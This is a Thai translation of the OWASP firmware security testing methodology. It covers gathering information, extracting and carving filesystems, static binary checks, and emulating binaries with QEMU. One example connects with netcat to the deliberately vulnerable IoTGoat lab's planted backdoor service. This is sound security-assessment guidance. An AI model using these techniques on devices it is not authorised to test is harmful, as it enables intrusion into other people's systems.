owasp fstm
1.0.0
| คำอธิบาย |
|---|
FSTM ประกอบด้วยเก้าขั้นตอนที่ได้รับการปรับแต่งเพื่อให้นักวิจัยด้านความปลอดภัย นักพัฒนาซอฟต์แวร์ ผู้ชื่นชอบงานอดิเรก และผู้เชี่ยวชาญด้านความปลอดภัยของข้อมูลสามารถทำการประเมินความปลอดภัยของเฟิร์มแวร์ได้ |
ไม่ว่าจะเชื่อมต่อเครือข่ายหรือสแตนด์อโลน เฟิร์มแวร์เป็นศูนย์กลางในการควบคุมอุปกรณ์ฝังตัว ด้วยเหตุนี้ จึงจำเป็นอย่างยิ่งที่จะต้องเข้าใจว่าเฟิร์มแวร์สามารถถูกจัดการอย่างไรเพื่อทำหน้าที่ที่ไม่ได้รับอนุญาต และอาจทำลายความปลอดภัยของระบบนิเวศที่สนับสนุนได้ ในการเริ่มต้นดำเนินการทดสอบความปลอดภัยและวิศวกรรมย้อนกลับของเฟิร์มแวร์ ให้ใช้วิธีการต่อไปนี้เป็นแนวทางเมื่อเริ่มการประเมินที่กำลังจะเกิดขึ้น วิธีการนี้ประกอบด้วยเก้าขั้นตอนที่ได้รับการปรับแต่งเพื่อให้นักวิจัยด้านความปลอดภัย นักพัฒนาซอฟต์แวร์ ที่ปรึกษา ผู้ที่ชอบงานอดิเรก และผู้เชี่ยวชาญด้านความปลอดภัยของข้อมูลสามารถทำการประเมินความปลอดภัยของเฟิร์มแวร์ได้
| เวที | คำอธิบาย |
|---|---|
| 1. การรวบรวมข้อมูลและการลาดตระเวน | รับรายละเอียดทางเทคนิคและเอกสารที่เกี่ยวข้องทั้งหมดที่เกี่ยวข้องกับเฟิร์มแวร์ของอุปกรณ์เป้าหมาย |
| 2. การได้รับเฟิร์มแวร์ | รับเฟิร์มแวร์โดยใช้วิธีการที่นำเสนออย่างน้อยหนึ่งวิธีที่ระบุไว้ |
| 3. วิเคราะห์เฟิร์มแวร์ | ตรวจสอบคุณสมบัติของเฟิร์มแวร์เป้าหมาย |
| 4. แตกไฟล์ระบบ | แกะสลักเนื้อหาระบบไฟล์จากเฟิร์มแวร์เป้าหมาย |
| 5. การวิเคราะห์เนื้อหาระบบไฟล์ | วิเคราะห์ไฟล์การกำหนดค่าระบบไฟล์ที่แตกออกมาและไบนารีเพื่อหาช่องโหว่แบบคงที่ |
| 6. การจำลองเฟิร์มแวร์ | จำลองไฟล์เฟิร์มแวร์และส่วนประกอบ |
| 7. การวิเคราะห์แบบไดนามิก | ทำการทดสอบความปลอดภัยแบบไดนามิกกับเฟิร์มแวร์และอินเทอร์เฟซแอปพลิเคชัน |
| 8. การวิเคราะห์รันไทม์ | วิเคราะห์ไบนารีที่คอมไพล์แล้วระหว่างรันไทม์ของอุปกรณ์ |
| 9. การแสวงหาผลประโยชน์แบบไบนารี | ใช้ประโยชน์จากช่องโหว่ที่ระบุที่พบในขั้นตอนก่อนหน้าเพื่อบรรลุการรูทและ/หรือการดำเนินการโค้ด |
ส่วนต่อไปนี้จะให้รายละเอียดเพิ่มเติมแต่ละขั้นตอนพร้อมตัวอย่างสนับสนุนตามความเหมาะสม ลองไปที่หน้าโครงการ OWASP Internet of Things และที่เก็บ GitHub เพื่อดูการอัปเดตวิธีการล่าสุดและการเผยแพร่โครงการที่กำลังจะมีขึ้น
คุณสามารถดาวน์โหลดเครื่องเสมือน Ubuntu (EmbedOS) ที่กำหนดค่าล่วงหน้าพร้อมเครื่องมือทดสอบเฟิร์มแวร์ที่ใช้ในเอกสารนี้ผ่านลิงก์ต่อไปนี้ รายละเอียดเกี่ยวกับเครื่องมือของ EmbedOS สามารถพบได้บน GitHub ภายในพื้นที่เก็บข้อมูลต่อไปนี้ https://github.com/scriptingxss/EmbedOS
ในระหว่างขั้นตอนนี้ ให้รวบรวมข้อมูลเกี่ยวกับเป้าหมายให้ได้มากที่สุดเพื่อทำความเข้าใจองค์ประกอบโดยรวมที่เป็นพื้นฐานของเทคโนโลยี พยายามรวบรวมสิ่งต่อไปนี้:
ข้อมูลที่ระบุไว้ข้างต้นควรถูกรวบรวมก่อนการทดสอบความปลอดภัยภาคสนามผ่านแบบสอบถามหรือแบบฟอร์มการรับเข้า ตรวจสอบให้แน่ใจว่าจะใช้ทีมพัฒนาสายผลิตภัณฑ์ภายในเพื่อให้ได้ข้อมูลที่ถูกต้องและทันสมัย ทำความเข้าใจการควบคุมความปลอดภัยที่ใช้ รวมถึงรายการแผนงาน ปัญหาด้านความปลอดภัยที่ทราบ และความเสี่ยงที่เกี่ยวข้องมากที่สุด หากจำเป็น ให้กำหนดเวลาติดตามการเจาะลึกคุณสมบัติเฉพาะที่เป็นปัญหา การประเมินจะประสบความสำเร็จมากที่สุดในสภาพแวดล้อมการทำงานร่วมกัน
หากเป็นไปได้ รับข้อมูลโดยใช้เครื่องมือและเทคนิคโอเพ่นซอร์สอัจฉริยะ (OSINT) หากใช้ซอฟต์แวร์โอเพ่นซอร์ส ให้ดาวน์โหลดพื้นที่เก็บข้อมูลและดำเนินการวิเคราะห์สแตติกทั้งแบบแมนนวลและแบบอัตโนมัติกับโค้ดเบส บางครั้ง โครงการซอฟต์แวร์โอเพ่นซอร์สใช้เครื่องมือวิเคราะห์คงที่ฟรีที่จัดทำโดยผู้จำหน่ายที่ให้ผลลัพธ์การสแกน เช่น Coverity Scan และ LGTM ของ Semmle ตัวอย่างเช่น ภาพหน้าจอด้านล่างแสดงตัวอย่างผลลัพธ์การสแกน Coverity ของ Das U-Boot
รูปภาพ : U-Boot Coverity Scan
รูปภาพ : การวิเคราะห์การสแกน U-Boot Coverity
ด้านล่างนี้คือภาพหน้าจอของผลลัพธ์ของ Dropbear จากการวิเคราะห์ของ LGTM
รูปภาพ : การแจ้งเตือน LGTM Dropbear
รูปภาพ : ผลลัพธ์ LGTM Dropbear
ด้วยข้อมูลที่มีอยู่ในมือ แบบจำลองภัยคุกคามระดับเบาควรดำเนินการจัดทำแผนที่พื้นผิวการโจมตีและพื้นที่ปะทะซึ่งแสดงคุณค่ามากที่สุดในกรณีของการประนีประนอม
เพื่อเริ่มตรวจสอบเนื้อหาของเฟิร์มแวร์ จะต้องได้รับไฟล์อิมเมจของเฟิร์มแวร์ พยายามรับเนื้อหาเฟิร์มแวร์โดยใช้วิธีใดวิธีหนึ่งต่อไปนี้:
*หมายเหตุ: ตรวจสอบให้แน่ใจว่าได้ปฏิบัติตามกฎหมายและข้อบังคับท้องถิ่นเมื่อดาวน์โหลดข้อมูลจากบริการจัดเก็บข้อมูลของผู้ให้บริการคลาวด์ที่เปิดเผย
แต่ละวิธีที่ระบุไว้มีความยากแตกต่างกันไป และไม่ควรถือเป็นรายการที่ละเอียดถี่ถ้วน เลือกวิธีการที่เหมาะสมตามวัตถุประสงค์ของโครงการและกฎเกณฑ์การมีส่วนร่วม หากเป็นไปได้ ให้ขอทั้งรุ่นการแก้ไขข้อบกพร่องและรุ่นที่เผยแพร่ของเฟิร์มแวร์เพื่อเพิ่มกรณีการใช้งานที่ครอบคลุมการทดสอบให้สูงสุดในโค้ดการแก้ไขข้อบกพร่องของเหตุการณ์หรือฟังก์ชันการทำงานที่ได้รับการคอมไพล์ภายในรุ่น
เมื่อได้รับอิมเมจเฟิร์มแวร์แล้ว ให้สำรวจส่วนต่างๆ ของไฟล์เพื่อระบุคุณลักษณะของไฟล์ ใช้ขั้นตอนต่อไปนี้เพื่อวิเคราะห์ประเภทไฟล์เฟิร์มแวร์ ข้อมูลเมตาของระบบไฟล์รูทที่เป็นไปได้ และทำความเข้าใจเพิ่มเติมเกี่ยวกับแพลตฟอร์มที่คอมไพล์ไว้
ใช้ประโยชน์จากสาธารณูปโภคเช่น:
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
หากไม่มีวิธีการข้างต้นให้ข้อมูลที่เป็นประโยชน์ใดๆ ก็เป็นไปได้ดังต่อไปนี้:
หากไบนารี่อาจถูกเข้ารหัส ให้ตรวจสอบเอนโทรปีโดยใช้ binwalk ด้วยคำสั่งต่อไปนี้:
$ binwalk -E <bin>
เอนโทรปีต่ำ = ไม่น่าจะถูกเข้ารหัส
เอนโทรปีสูง = มีแนวโน้มว่าจะถูกเข้ารหัส (หรือถูกบีบอัดในทางใดทางหนึ่ง)
เครื่องมือสำรองยังมีให้บริการโดยใช้ Binvis ออนไลน์และแอปพลิเคชันแบบสแตนด์อโลน
ขั้นตอนนี้เกี่ยวข้องกับการดูภายในเฟิร์มแวร์และแยกวิเคราะห์ข้อมูลระบบไฟล์ที่เกี่ยวข้องเพื่อเริ่มระบุปัญหาด้านความปลอดภัยที่อาจเกิดขึ้นให้ได้มากที่สุด ใช้ขั้นตอนต่อไปนี้เพื่อแยกเนื้อหาเฟิร์มแวร์เพื่อตรวจสอบโค้ดที่ไม่ได้คอมไพล์และการกำหนดค่าอุปกรณ์ที่ใช้ในขั้นตอนต่อไปนี้ วิธีการแยกทั้งแบบอัตโนมัติและแบบแมนนวลแสดงไว้ด้านล่าง
$ binwalk -ev <bin>
ไฟล์จะถูกแยกเป็น " _binaryname/filesystemtype/ "
ประเภทระบบไฟล์: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs
2ก. บางครั้ง binwalk จะไม่มีไบต์วิเศษของระบบไฟล์ในลายเซ็น ในกรณีเหล่านี้ ให้ใช้ binwalk เพื่อค้นหาออฟเซ็ตของระบบไฟล์และแกะสลักระบบไฟล์ที่บีบอัดจากไบนารี่ และแยกระบบไฟล์ด้วยตนเองตามประเภทของระบบโดยใช้ขั้นตอนด้านล่าง
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2b. รันคำสั่ง dd ต่อไปนี้เพื่อแกะสลักระบบไฟล์ Squashfs
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
หรืออาจเรียกใช้คำสั่งต่อไปนี้ก็ได้
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2ค. สำหรับสควอช (ใช้ในตัวอย่างด้านบน)
$ unsquashfs dir.squashfs
หลังจากนั้นไฟล์จะอยู่ในไดเร็กทอรี " squashfs-root "
2วัน ไฟล์เก็บถาวร CPIO
$ cpio -ivd --no-absolute-filenames -F <bin>
2f. สำหรับระบบไฟล์ jffs2
$ jefferson rootfsfile.jffs2
2วัน สำหรับระบบไฟล์ ubifs ที่มีแฟลช NAND
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
ในระหว่างขั้นตอนนี้ จะมีการรวบรวมเบาะแสสำหรับขั้นตอนการวิเคราะห์แบบไดนามิกและรันไทม์ ตรวจสอบว่าเฟิร์มแวร์เป้าหมายมีสิ่งต่อไปนี้หรือไม่ (โดยสังเขป):
วิเคราะห์เนื้อหาระบบไฟล์และโค้ดที่ไม่ได้คอมไพล์ด้วยตนเองแบบคงที่ หรือใช้ประโยชน์จากเครื่องมืออัตโนมัติ เช่น Firmwalker ที่แยกวิเคราะห์สิ่งต่อไปนี้:
ส่วนย่อยต่อไปนี้จะแนะนำเครื่องมือวิเคราะห์เฟิร์มแวร์อัตโนมัติแบบโอเพ่นซอร์ส
ดำเนินการ Firmwalker ภายในไดเร็กทอรีของมันใน ~/tools/firmwalker และชี้ Firmwalker ไปยังพาธสัมบูรณ์ของไดเร็กทอรีรากของระบบไฟล์ที่แยกออกมา Firmwalker ใช้ข้อมูลในไดเร็กทอรี "/data/" สำหรับกฎการแยกวิเคราะห์ คุณสามารถดู Fork แบบกำหนดเองที่แก้ไขโดย Aaron Guzman พร้อมการตรวจสอบเพิ่มเติมได้ใน GitHub ที่ https://github.com/scriptingxss/firmwalker ตัวอย่างต่อไปนี้แสดงการใช้งานของ Firmwalker ที่ใช้กับ IoTGoat ของ OWASP โปรเจ็กต์เฟิร์มแวร์ที่มีช่องโหว่เพิ่มเติมจะแสดงอยู่ในส่วนเฟิร์มแวร์ที่มีช่องโหว่ที่ส่วนท้ายของเอกสาร
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
ดูผลลัพธ์ของ Firmwalker ด้านล่าง
ไฟล์สองไฟล์จะถูกสร้างขึ้น Firmwalker.txt และ Firmwalkerappsec.txt ไฟล์เอาต์พุตเหล่านี้ควรได้รับการตรวจสอบด้วยตนเอง
โชคดีที่มีเครื่องมือวิเคราะห์เฟิร์มแวร์อัตโนมัติแบบโอเพ่นซอร์สหลายตัวให้เลือก คุณสมบัติ FACT มีดังต่อไปนี้:
การระบุส่วนประกอบซอฟต์แวร์ เช่น ระบบปฏิบัติการ สถาปัตยกรรม CPU และส่วนประกอบของบุคคลที่สาม พร้อมด้วยข้อมูลเวอร์ชันที่เกี่ยวข้อง
การแยกระบบไฟล์เฟิร์มแวร์ออกจากอิมเมจ
การตรวจหาใบรับรองและคีย์ส่วนตัว
การตรวจจับการแมปการใช้งานที่อ่อนแอกับการแจงนับจุดอ่อนทั่วไป (CWE)
การตรวจจับช่องโหว่ตามฟีดและลายเซ็น
การวิเคราะห์พฤติกรรมสถิตเบื้องต้น
การเปรียบเทียบ (ความแตกต่าง) ของเวอร์ชันและไฟล์เฟิร์มแวร์
การจำลองโหมดผู้ใช้ของไบนารีระบบไฟล์โดยใช้ QEMU
การตรวจจับการบรรเทาผลกระทบแบบไบนารี เช่น NX, DEP, ASLR, นกคีรีบูนแบบสแต็ก, RELRO และ FORTIFY_SOURCE
ส่วนที่เหลือ API
และอื่นๆ...
ด้านล่างนี้เป็นคำแนะนำในการใช้ชุดเครื่องมือเปรียบเทียบการวิเคราะห์เฟิร์มแวร์ภายในเครื่องเสมือนที่กำหนดค่าไว้ล่วงหน้า
เคล็ดลับ: ขอแนะนำให้เรียกใช้ FACT กับคอมพิวเตอร์ที่มี 16 Cores 64GB RAM แม้ว่าเครื่องมือจะทำงานด้วย 4 Cores ขั้นต่ำและ RAM 8GB ในอัตราที่ช้ากว่ามากก็ตาม ผลลัพธ์การสแกนจะแตกต่างกันไปตามทรัพยากรที่จัดสรรให้กับเครื่องเสมือน ยิ่งมีทรัพยากรมากเท่าใด FACT จะส่งการสแกนให้เสร็จสิ้นเร็วขึ้นเท่านั้น
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
ไปที่ http://127.0.0.1:5000 ในเบราว์เซอร์
รูปภาพ : แดชบอร์ด FACT
อัปโหลดส่วนประกอบเฟิร์มแวร์ไปที่ FACT เพื่อการวิเคราะห์ ในภาพหน้าจอด้านล่าง เฟิร์มแวร์ที่สมบูรณ์ที่ถูกบีบอัดพร้อมระบบไฟล์รูทจะถูกอัพโหลดและวิเคราะห์
รูปภาพ : อัพโหลด FACT
ผลการวิเคราะห์จะปรากฏขึ้นพร้อมกับผลการสแกนตามเวลาที่กำหนด ทั้งนี้ขึ้นอยู่กับทรัพยากรฮาร์ดแวร์ที่มอบให้กับ FACT กระบวนการนี้อาจใช้เวลาหลายชั่วโมงหากมีการจัดสรรทรัพยากรให้น้อยที่สุด
รูปภาพ : FACT IoTGoat
รูปภาพ : ผลลัพธ์การลดอัตราการใช้ประโยชน์จาก FACT IoTGoat
แยกไบนารีเป้าหมายที่ต้องสงสัยด้วยข้อมูลที่รวบรวมจาก FACT โดยใช้ IDA Pro, Ghidra, Hopper, Capstone หรือ Binary Ninja วิเคราะห์ไบนารีสำหรับการเรียกของระบบการเรียกใช้โค้ดจากระยะไกล สตริง รายการฟังก์ชัน ช่องโหว่ความเสียหายของหน่วยความจำ และระบุ Xrefs ไปยัง system() หรือการเรียกใช้ฟังก์ชันที่เหมือนกัน สังเกตช่องโหว่ที่อาจเกิดขึ้นเพื่อใช้ในขั้นตอนต่อไป
ภาพหน้าจอต่อไปนี้แสดงไบนารี "shellback" ที่แยกส่วนโดยใช้ Ghidra
รูปภาพ : การวิเคราะห์ Shellback Ghidra
การวิเคราะห์ไบนารีทั่วไปประกอบด้วยการตรวจสอบสิ่งต่อไปนี้:
$ readelf -aW bin/*| grep stack_chk_fail$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'$ readelf -d <bin> | grep -q 'DEBUG'$ readelf --syms <bin>$ nm <bin>-el ระบุอักขระตัวเล็กที่มีความกว้าง 16 บิต (เช่น UTF-16)-eb สำหรับ big endian-t จะส่งคืนออฟเซ็ตของสตริงภายในไฟล์-tx จะส่งคืนในรูปแบบเลขฐานสิบหก T-to ในรูปแบบฐานแปด และ -td ในรูปแบบทศนิยมstrings -n5 <bin>strings -el <bin>strings -n16 <bin>strings -tx <bin>$ readelf -lW bin/<bin>| grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
'E' บ่งชี้ว่าสแต็กสามารถเรียกใช้งานได้
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW$ readelf -d binary | grep GNU_RELROสคริปต์ที่ทำให้การตรวจสอบคุณสมบัติไบนารี่ข้างต้นหลายอย่างโดยอัตโนมัติคือ checksec.sh ด้านล่างนี้คือตัวอย่างการใช้สคริปต์สองตัวอย่าง
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
รูปภาพ : Checksec.sh
สำหรับไบนารีของ Microsoft (EXE และ DLL) ให้ใช้ PESecurity เพื่อตรวจสอบ ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow Guard และ HighEntropyVA
EMBA ได้รับการออกแบบให้เป็นเครื่องมือวิเคราะห์เฟิร์มแวร์หลักสำหรับผู้ทดสอบการเจาะระบบ สนับสนุนกระบวนการวิเคราะห์ความปลอดภัยเต็มรูปแบบ เริ่มตั้งแต่ การแยกเฟิร์มแวร์ การวิเคราะห์แบบคงที่ และ การวิเคราะห์แบบไดนามิก ผ่านการจำลอง เพื่อสร้างรายงานบนเว็บสำหรับการวิเคราะห์เพิ่มเติม เปิดตัวด้วยคำสั่งเดียว EMBA จะค้นพบจุดอ่อนและช่องโหว่ที่อาจเกิดขึ้นในเฟิร์มแวร์ที่กำลังทดสอบโดยอัตโนมัติ เช่น ไบนารีที่ไม่ปลอดภัย ส่วนประกอบซอฟต์แวร์เก่าและล้าสมัย สคริปต์ที่อาจมีช่องโหว่ หรือรหัสผ่านแบบฮาร์ดโค้ด
คุณสมบัติ EMBA มีดังต่อไปนี้:
EMBA ใช้เครื่องมืออื่นๆ มากมายในเบื้องหลัง ทรัพยากรระบบที่จำเป็นนั้นขึ้นอยู่กับเฟิร์มแวร์ที่คุณจะวิเคราะห์เป็นอย่างมาก โดยปกติแล้ว EMBA จะทำงานค่อนข้างราบรื่นในสภาพแวดล้อมต่อไปนี้:
ในการติดตั้งสภาพแวดล้อมที่จำเป็น คุณต้องรันสคริปต์การติดตั้งโดยมีสิทธิ์รูท:
sudo ./installer.sh -d คุณควรใช้สวิตช์ -d กับตัวติดตั้งเพื่อรันการติดตั้งทั่วไป สิ่งนี้จะติดตั้งการขึ้นต่อกันที่จำเป็น (เช่น cve-search) บนโฮสต์ และจะดาวน์โหลดอิมเมจนักเทียบท่า EMBA เราขอแนะนำให้ใช้สิ่งนี้สำหรับการติดตั้งครั้งแรก
หลังจากกระบวนการติดตั้งเสร็จสิ้น คุณจะสามารถใช้ EMBA เพื่อวิเคราะห์ความปลอดภัยของเฟิร์มแวร์ได้จากบรรทัดคำสั่ง ก่อนที่จะเริ่ม EMBA โปรดดาวน์โหลดเฟิร์มแวร์ทดสอบ เช่น เฟิร์มแวร์ OWASP IoTGoat คำสั่งต่อไปนี้แสดงคำสั่ง EMBA ทั่วไป:
sudo ./emba.sh -f ~ /IoTGoat-x86.img.gz -l ~ /emba_logs_iotgoat -p ./scan-profiles/default-scan.embaคำสั่งที่แสดงจะกำหนดค่าตัวเลือกพื้นฐานต่อไปนี้:
มีตัวเลือกเพิ่มเติมและสามารถดูได้ทาง ./emba.sh -h
ขั้นตอนแรกของการทดสอบเฟิร์มแวร์ทุกครั้งคือการตรวจสอบสภาพของการติดตั้งปัจจุบัน:
หลังจากการตรวจสภาพเสร็จสมบูรณ์ กระบวนการวิเคราะห์จะเริ่มต้นด้วยการระบุและแยกเฟิร์มแวร์ที่กำหนดค่าไว้:
ขณะทดสอบเฟิร์มแวร์ ผลลัพธ์ทั้งหมดและสถานะปัจจุบันจะแสดงสดในเทอร์มินัล เนื่องจากการสแกนโดยทั่วไปจะทำงานในโหมดเธรด ( -t parameter ) เอาต์พุตนี้จึงอ่านไม่ออกและอ่านได้ไม่ง่ายนัก สำหรับการวิเคราะห์เพิ่มเติม ขอแนะนำให้ใช้ไฟล์บันทึกตามข้อความที่สร้างขึ้นในไดเร็กทอรีบันทึกและรายงานเว็บ ( พารามิเตอร์ -W ) หลังจากสแกนเฟิร์มแวร์เสร็จแล้ว EMBA จะแสดงสรุปผลลัพธ์ในเทอร์มินัล:
ผลลัพธ์เพิ่มเติมมีอยู่ในไดเร็กทอรีบันทึกและสามารถวิเคราะห์ได้บนบรรทัดคำสั่งหรือผ่านทางเว็บเบราว์เซอร์:
firefox ~ /emba_logs_iotgoat/html-report/index.html
รายงาน HTML ที่สร้างขึ้นมีอยู่ในตัวเองและสามารถแชร์ได้อย่างง่ายดาย นอกจากนี้ รายงานนี้ยังเป็นแบบโต้ตอบได้อย่างสมบูรณ์ และสามารถเข้าถึงรายละเอียดการทดสอบทั้งหมดผ่านแดชบอร์ดสรุปรวม
รายละเอียดเพิ่มเติมมีอยู่ใน ที่เก็บ EMBA git อย่างเป็นทางการ
EMBArk เป็นอินเทอร์เฟซองค์กรบนเว็บสำหรับสแกนเนอร์ความปลอดภัยของเฟิร์มแวร์ EMBA ได้รับการพัฒนาเพื่อให้เครื่องวิเคราะห์ความปลอดภัยของเฟิร์มแวร์ EMBA เป็นบริการแบบคอนเทนเนอร์ และเพื่อความสะดวกในการเข้าถึงเฟิร์มแวร์ที่สแกนแบ็กเอนด์ EMBA โดยไม่คำนึงถึงระบบและระบบปฏิบัติการ
นอกจากนี้ EMBArk ยังปรับปรุงการจัดหาข้อมูลโดยการรวมผลการสแกนต่างๆ ไว้ในแดชบอร์ดการจัดการแบบรวม
ในหน้ารายละเอียดของการสแกนทั้งหมด คุณสามารถเข้าถึงรายงานโดยละเอียดของการสแกนเฟิร์มแวร์ เริ่มการทดสอบเพิ่มเติม และดาวน์โหลดบันทึกการสแกน:
รายละเอียดเพิ่มเติมพร้อมผลลัพธ์หลักของการทดสอบเฟิร์มแวร์แต่ละครั้งมีอยู่ในรายงานโดยละเอียด:
ข้อมูลเพิ่มเติมมีอยู่ใน ที่เก็บ EMBArk git อย่างเป็นทางการ
หมายเหตุ: EMBArk อยู่ในช่วงเริ่มต้นของการพัฒนา
การใช้รายละเอียดและเบาะแสที่ระบุในขั้นตอนก่อนหน้านี้ เฟิร์มแวร์และไบนารีที่ห่อหุ้มจะต้องได้รับการจำลองเพื่อตรวจสอบช่องโหว่ที่อาจเกิดขึ้น เพื่อให้การจำลองเฟิร์มแวร์สำเร็จ มีวิธีการสองสามอย่างที่แสดงด้านล่างนี้
/usr/bin/shellbackในการเริ่มต้นการจำลองไบนารีบางส่วน ต้องทราบสถาปัตยกรรม CPU และความเป็นเอนเดียนเนสในการเลือกไบนารีการจำลอง QEMU ที่เหมาะสมในขั้นตอนต่อไปนี้
$ binwalk -Y <bin>
$ readelf -h <bin>
เอล - เอนเดียนตัวน้อย
eb - บิ๊กเอนเดียน
Binwalk สามารถใช้ระบุ endianness สำหรับไบนารีเฟิร์มแวร์แบบแพ็กเกจ (ไม่ใช่จากไบนารีภายในเฟิร์มแวร์ที่แยกออกมา) โดยใช้คำสั่งด้านล่าง
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
หลังจากระบุสถาปัตยกรรม CPU และ endianness แล้ว ให้ค้นหาไบนารี QEMU ที่เหมาะสมเพื่อทำการจำลองบางส่วน (ไม่ใช่สำหรับการจำลองเฟิร์มแวร์เต็มรูปแบบ แต่เป็นไบนารีที่มีเฟิร์มแวร์ที่แยกออกมา)
โดยทั่วไปแล้วใน:
/usr/local/qemu-arch หรือ /usr/bin/qemu-arch
คัดลอกไบนารี QEMU ที่เกี่ยวข้องลงในระบบไฟล์รูทที่แยกออกมา คำสั่งที่สองแสดงการคัดลอกไบนารี QEMU ของ static arm ไปยังระบบไฟล์รูทที่แยกออกมาภายในเชลล์ ZSH ที่แสดงเส้นทางที่แน่นอน
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
ดำเนินการไบนารี ARM (หรือส่วนโค้งที่เหมาะสม) เพื่อจำลองโดยใช้ QEMU และ chroot ด้วยคำสั่งต่อไปนี้:
$ sudo chroot . ./qemu-arch <binarytoemulate>
ตัวอย่างต่อไปนี้แสดง Busybox ที่จำลองภายในสถาปัตยกรรม x64 ทั่วไปที่เครื่องของผู้โจมตีน่าจะใช้งาน
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
ด้านล่างนี้เป็นตัวอย่างของการจำลองบริการที่รับฟังพอร์ต 5515
> sudo chroot . ./qemu-arm-static usr/bin/shellback
นอกจากนี้ บริการเดียวกันนี้สามารถจำลองได้ด้วยกรอบงาน Qiling
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
ในเทอร์มินัลอื่น ตรวจสอบว่าบริการกำลังฟังอยู่ในเครื่องหรือไม่ และลองเชื่อมต่อกับ netcat
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
บางครั้งคำขอจะถูกส่งไปยังไบนารี CGI โดยเซิร์ฟเวอร์ HTTP เพียงจำลองไบนารี CGI ก็เป็นไปได้ที่จะวิเคราะห์ขั้นตอนกระบวนการหรือตรวจสอบช่องโหว่โดยไม่ต้องตั้งค่าเซิร์ฟเวอร์ HTTP ตัวอย่างต่อไปนี้ส่งคำขอ GET ไปยังไบนารี MIPS CGI
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
ด้วยไบนารีเป้าหมายที่จำลองขึ้นมา ให้โต้ตอบกับล่ามหรือบริการการฟัง ฟัซเซิลแอปพลิเคชันและอินเทอร์เฟซเครือข่ายตามที่ระบุไว้ในระยะถัดไป
เมื่อเป็นไปได้ ให้ใช้เครื่องมืออัตโนมัติ เช่น Firmadyne ชุดเครื่องมือวิเคราะห์เฟิร์มแวร์ หรือ ARM-X Firmware Emulation Framework เพื่อทำการจำลองเฟิร์มแวร์เต็มรูปแบบ เครื่องมือเหล่านี้เป็นส่วนสำคัญของ QEMU และฟังก์ชันด้านสิ่งแวดล้อมอื่นๆ เช่น nvram
